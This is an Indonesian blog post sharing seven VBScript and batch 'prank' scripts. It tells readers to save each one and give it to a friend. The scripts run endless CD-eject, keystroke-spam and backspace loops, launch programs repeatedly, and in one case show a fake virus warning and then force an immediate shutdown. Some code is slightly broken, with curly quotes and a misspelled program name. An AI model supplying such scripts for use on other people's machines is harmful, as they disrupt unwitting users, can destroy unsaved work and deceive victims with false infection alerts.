ISENG DENGAN NOTEPAD (TRIK NOTEPAD)

Bagaimana kabarnya??? PAstinya baek ya…. Kali ini aku pengen ngasih trik-trik isengin orang dengan bermodalkan notepad, jadi buat kamu-kamu yang bosan belajar, atau bosan dengan rutinitas sehari-har, gak ada salahnya nyoba trik ini biar sedikit terhibur. Tapi ingat jangan sekali-sekali mencobanya pada computer atau laptop anda sendiri, tiu namanya “orang yang sangat amat kurang kerjaan” alias B.e.g.o hahahahah ok deh… kita mulai aja…

 

Tulis script dibawah ini di notepad, terkadang copy/paste tidak berhasil karena perbedaan tanda petik (“) pada notepad tapi gak ada salahnya kok kalo di copas.

1. Iseng Mengeject CD-Drive Terus Menerus

Set oWMP = CreateObject(”WMPlayer.OCX.7″)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Kemudian save dengan “sukasukaanda.VBS” & Berikan keteman Anda

2. Iseng Dengan Tombol Enter Terus Menerus

Set wshShell = wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject(”WScript.Shell”)

WshShell.Run “notepad”

WScript.Sleep 100

WshShell.AppActivate “Notepad”

WScript.Sleep 500

WshShell.SendKeys “Hel”

WScript.Sleep 500

WshShell.SendKeys “lo ”

WScript.Sleep 500

WshShell.SendKeys “, ho”

WScript.Sleep 500

WshShell.SendKeys “w a”

WScript.Sleep 500

WshShell.SendKeys “re ”

WScript.Sleep 500

WshShell.SendKeys “you”

WScript.Sleep 500

WshShell.SendKeys “? ”

WScript.Sleep 500

WshShell.SendKeys “I a”

WScript.Sleep 500

WshShell.SendKeys “m g”

WScript.Sleep 500

WshShell.SendKeys “ood”

WScript.Sleep 500

WshShell.SendKeys ” th”

WScript.Sleep 500

WshShell.SendKeys “ank”

WScript.Sleep 500

WshShell.SendKeys “s! “

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

4. Iseng Dengan Backspace

MsgBox “Maaf, Anda Harus Mengulang Kembali”

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

5. Iseng Dengan Membuka Calculator Terus Menerus

@ECHO off

:top

START %SystemRoot%\system32\cacl.exe

GOTO top

Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda

6. Iseng Dengan Keyboard

Set wshShell = wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”

loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

7. Iseng Dengan Shutdown Computer

@echo off

msg * Komputer Anda Terinfeksi Virus

shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda

Selamat mencoba